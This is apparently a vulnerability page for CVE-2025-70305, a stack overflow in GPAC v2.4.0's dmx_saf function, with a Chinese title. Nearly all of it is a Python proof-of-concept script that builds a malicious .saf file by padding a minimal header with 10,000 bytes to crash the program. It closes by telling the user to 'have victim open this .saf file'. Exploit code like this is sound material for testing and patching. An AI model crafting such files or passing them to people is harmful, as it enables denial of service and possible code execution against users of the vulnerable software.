CVE-2025-70305 GPAC dmx_saf函数栈溢出漏洞导致拒绝服务

#!/usr/bin/env python3 # CVE-2025-70305 PoC - GPAC dmx_saf Stack Overflow # Generate malicious .saf file to trigger stack overflow in GPAC v2.4.0 import struct def create_malicious_saf_file(filename, overflow_length=10000): """ Generate a malicious .saf file with oversized payload to trigger stack overflow in dmx_saf function Args: filename: Output .saf file path overflow_length: Length of overflow payload (default: 10000 bytes) """ # SAF file header structure (minimal valid header) saf_header = b'SAF' # Magic bytes saf_header += struct.pack('<I', 1) # Version saf_header += struct.pack('<I', 1) # Number of tracks # Create overflow payload - long string to overflow stack buffer # The actual exploit requires identifying the exact buffer size overflow_payload = b'A' * overflow_length # Construct malicious SAF file with open(filename, 'wb') as f: f.write(saf_header) f.write(overflow_payload) print(f"[+] Malicious .saf file created: {filename}") print(f"[+] Overflow payload length: {overflow_length} bytes") def verify_exploit(): """Verify the exploit conditions""" conditions = { "Target": "GPAC v2.4.0", "Vulnerable Function": "dmx_saf", "Vulnerability": "Stack Overflow", "Attack Vector": "Local (AV:L)", "User Interaction": "Required (UI:R)", "Impact": "Denial of Service / Potential Code Execution" } print("[*] Exploit Conditions:") for key, value in conditions.items(): print(f" {key}: {value}") if __name__ == "__main__": print("[*] CVE-2025-70305 PoC Generator") print("[*] Target: GPAC v2.4.0 dmx_saf Stack Overflow") print() verify_exploit() print() # Generate malicious file output_file = "exploit_CVE-2025-70305.saf" create_malicious_saf_file(output_file, overflow_length=10000) print() print("[!] Usage: Have victim open this .saf file with vulnerable GPAC version")